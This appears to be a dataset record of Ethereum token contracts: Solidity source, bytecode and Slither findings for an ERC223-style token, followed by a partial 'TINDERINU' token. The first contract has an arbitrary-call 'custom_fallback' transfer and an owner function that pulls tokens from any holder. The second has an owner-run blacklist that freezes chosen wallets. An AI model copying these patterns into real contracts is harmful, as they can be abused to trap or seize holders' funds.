* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
} | 0x6060604052600436106101245763ffffffff60e060020a60003504166305d2035b811461012e57806306fdde031461015557806318160ddd146101df578063313ce56714610204578063378dc3dc1461022d57806340c10f19146102405780634f25eced1461026257806364ddc6051461027557806370a08231146103045780637d64bcb4146103235780638da5cb5b14610336578063945946251461036557806395d89b41146103b65780639dc29fac146103c9578063a8f11eb914610124578063a9059cbb146103eb578063b414d4b61461040d578063be45fd621461042c578063c341b9f614610491578063cbbe974b146104e4578063d39b1d4814610503578063f0dc417114610519578063f2fde38b146105a8578063f6368f8a146105c7575b61012c61066e565b005b341561013957600080fd5b6101416107d0565b604051901515815260200160405180910390f35b341561016057600080fd5b6101686107d9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a457808201518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ea57600080fd5b6101f2610881565b60405190815260200160405180910390f35b341561020f57600080fd5b610217610887565b60405160ff909116815260200160405180910390f35b341561023857600080fd5b6101f2610890565b341561024b57600080fd5b610141600160a060020a0360043516602435610896565b341561026d57600080fd5b6101f261098b565b341561028057600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061099195505050505050565b341561030f57600080fd5b6101f2600160a060020a0360043516610aeb565b341561032e57600080fd5b610141610b06565b341561034157600080fd5b610349610b73565b604051600160a060020a03909116815260200160405180910390f35b341561037057600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610b8292505050565b34156103c157600080fd5b610168610dfd565b34156103d457600080fd5b61012c600160a060020a0360043516602435610e70565b34156103f657600080fd5b610141600160a060020a0360043516602435610f3b565b341561041857600080fd5b610141600160a060020a0360043516611016565b341561043757600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061102b95505050505050565b341561049c57600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506110fd9050565b34156104ef57600080fd5b6101f2600160a060020a03600435166111ff565b341561050e57600080fd5b61012c600435611211565b341561052457600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061123195505050505050565b34156105b357600080fd5b61012c600160a060020a0360043516611518565b34156105d257600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506115b395505050505050565b6000600754118015610696575060075460015461069390600160a060020a0316610aeb565b10155b80156106bb5750600160a060020a0333166000908152600a602052604090205460ff16155b80156106de5750600160a060020a0333166000908152600b602052604090205442115b15156106e957600080fd5b600034111561072657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561072657600080fd5b600154600160a060020a031660009081526009602052604090205460075461074e91906118d9565b600154600160a060020a0390811660009081526009602052604080822093909355339091168152205460075461078491906118eb565b600160a060020a0333811660008181526009602052604090819020939093556001546007549193921691600080516020611cb983398151915291905190815260200160405180910390a3565b60085460ff1681565b6107e1611ca6565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b60065490565b60045460ff1690565b60055481565b60015460009033600160a060020a039081169116146108b457600080fd5b60085460ff16156108c457600080fd5b600082116108d157600080fd5b6108dd600654836118eb565b600655600160a060020a03831660009081526009602052604090205461090390836118eb565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020611cb98339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a039081169116146109af57600080fd5b600083511180156109c1575081518351145b15156109cc57600080fd5b5060005b8251811015610ae6578181815181106109e557fe5b90602001906020020151600b60008584815181106109ff57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610a2d57600080fd5b818181518110610a3957fe5b90602001906020020151600b6000858481518110610a5357fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610a8357fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610ac357fe5b9060200190602002015160405190815260200160405180910390a26001016109d0565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610b2457600080fd5b60085460ff1615610b3457600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610b97575060008551115b8015610bbc5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610bdf5750600160a060020a0333166000908152600b602052604090205442115b1515610bea57600080fd5b610bf8846305f5e1006118fa565b9350610c058486516118fa565b600160a060020a03331660009081526009602052604090205490925082901015610c2e57600080fd5b5060005b8451811015610db657848181518110610c4757fe5b90602001906020020151600160a060020a031615801590610c9c5750600a6000868381518110610c7357fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610ce15750600b6000868381518110610cb357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610cec57600080fd5b610d3060096000878481518110610cff57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054856118eb565b60096000878481518110610d4057fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610d7057fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3600101610c32565b600160a060020a033316600090815260096020526040902054610dd990836118d9565b33600160a060020a0316600090815260096020526040902055506001949350505050565b610e05611ca6565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b60015433600160a060020a03908116911614610e8b57600080fd5b600081118015610ea3575080610ea083610aeb565b10155b1515610eae57600080fd5b600160a060020a038216600090815260096020526040902054610ed190826118d9565b600160a060020a038316600090815260096020526040902055600654610ef790826118d9565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000610f45611ca6565b600083118015610f6e5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f935750600160a060020a0384166000908152600a602052604090205460ff16155b8015610fb65750600160a060020a0333166000908152600b602052604090205442115b8015610fd95750600160a060020a0384166000908152600b602052604090205442115b1515610fe457600080fd5b610fed84611925565b1561100457610ffd84848361192d565b915061100f565b610ffd848483611b53565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156110555750600160a060020a0333166000908152600a602052604090205460ff16155b801561107a5750600160a060020a0384166000908152600a602052604090205460ff16155b801561109d5750600160a060020a0333166000908152600b602052604090205442115b80156110c05750600160a060020a0384166000908152600b602052604090205442115b15156110cb57600080fd5b6110d484611925565b156110eb576110e484848461192d565b90506110f6565b6110e4848484611b53565b9392505050565b60015460009033600160a060020a0390811691161461111b57600080fd5b600083511161112957600080fd5b5060005b8251811015610ae65782818151811061114257fe5b90602001906020020151600160a060020a0316151561116057600080fd5b81600a600085848151811061117157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106111af57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161112d565b600b6020526000908152604090205481565b60015433600160a060020a0390811691161461122c57600080fd5b600755565b6001546000908190819033600160a060020a0390811691161461125357600080fd5b60008551118015611265575083518551145b151561127057600080fd5b5060009050805b84518110156114f557600084828151811061128e57fe5b906020019060200201511180156112c257508481815181106112ac57fe5b90602001906020020151600160a060020a031615155b80156113025750600a60008683815181106112d957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156113475750600b600086838151811061131957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561135257600080fd5b61137584828151811061136157fe5b906020019060200201516305f5e1006118fa565b84828151811061138157fe5b6020908102909101015283818151811061139757fe5b90602001906020020151600960008784815181106113b157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410156113e057600080fd5b611439600960008784815181106113f357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205485838151811061142a57fe5b906020019060200201516118d9565b6009600087848151811061144957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205561148c8285838151811061147d57fe5b906020019060200201516118eb565b915033600160a060020a03168582815181106114a457fe5b90602001906020020151600160a060020a0316600080516020611cb98339815191528684815181106114d257fe5b9060200190602002015160405190815260200160405180910390a3600101611277565b600160a060020a033316600090815260096020526040902054610dd990836118eb565b60015433600160a060020a0390811691161461153357600080fd5b600160a060020a038116151561154857600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080841180156115dd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156116025750600160a060020a0385166000908152600a602052604090205460ff16155b80156116255750600160a060020a0333166000908152600b602052604090205442115b80156116485750600160a060020a0385166000908152600b602052604090205442115b151561165357600080fd5b61165c85611925565b156118c3578361166b33610aeb565b101561167657600080fd5b61168861168233610aeb565b856118d9565b600160a060020a0333166000908152600960205260409020556116b36116ad86610aeb565b856118eb565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b602083106117015780518252601f1990920191602091820191016116e2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561179257808201518382015260200161177a565b50505050905090810190601f1680156117bf5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f1935050505015156117e357fe5b826040518082805190602001908083835b602083106118135780518252601f1990920191602091820191016117f4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a35060016118d1565b6118ce858585611b53565b90505b949350505050565b6000828211156118e557fe5b50900390565b6000828201838110156110f657fe5b60008083151561190d576000915061100f565b5082820282848281151561191d57fe5b04146110f657fe5b6000903b1190565b6000808361193a33610aeb565b101561194557600080fd5b61195161168233610aeb565b600160a060020a0333166000908152600960205260409020556119766116ad86610aeb565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a0f5780820151838201526020016119f7565b50505050905090810190601f168015611a3c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a5c57600080fd5b6102c65a03f11515611a6d57600080fd5b505050826040518082805190602001908083835b60208310611aa05780518252601f199092019160209182019101611a81565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3506001949350505050565b600082611b5f33610aeb565b1015611b6a57600080fd5b611b7c611b7633610aeb565b846118d9565b600160a060020a033316600090815260096020526040902055611ba7611ba185610aeb565b846118eb565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b60208310611bf45780518252601f199092019160209182019101611bd5565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a0316600080516020611cb98339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820b2ba8c585aa05ae40c4dedadf9763a25e20df0b41b6c4a9023328cafc61257900029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,102 |
0x0b6ae9895a1e5d73ce78ad2656eb2f6cf194b0e5 | /**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
/*
SPDX-License-Identifier: Unlicensed
https://t.me/tinderinuportal
The answer is simple, we value your privacy much more than the disrespectful Tinder.
Have you ever realised that you are not lured into falling in love with a girl or guy but also lured into giving away all your information including locations,
interests and jobs, pictures, music tastes and most importantly who you dated to one single app.
Tinder knows your sexual preference, your fear and your weakness even more than yourself.
Can you imagine what will happen if this treasure trove of data gets hacked,
is made public or simply bought by another company? There is no difference between being seen naked in public or can be even worse.
That’s why we present you the Tinder Inu, A on chain dating app service.
The only information we take will be your wallet address and that’s all.
We won’t know your sexual preference, your favourite positon or your darkest secret.
Secure and confidential. Join us if you want to see a more secure and privacy-respecting society.
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TINDERINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TINDERINU";
string private constant _symbol = "TINDERINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x247cA0d77735212db1b34313A9dB1f4dc0406C1e);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2e9 * 10**9;
uint256 public _maxWalletSize = 2e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
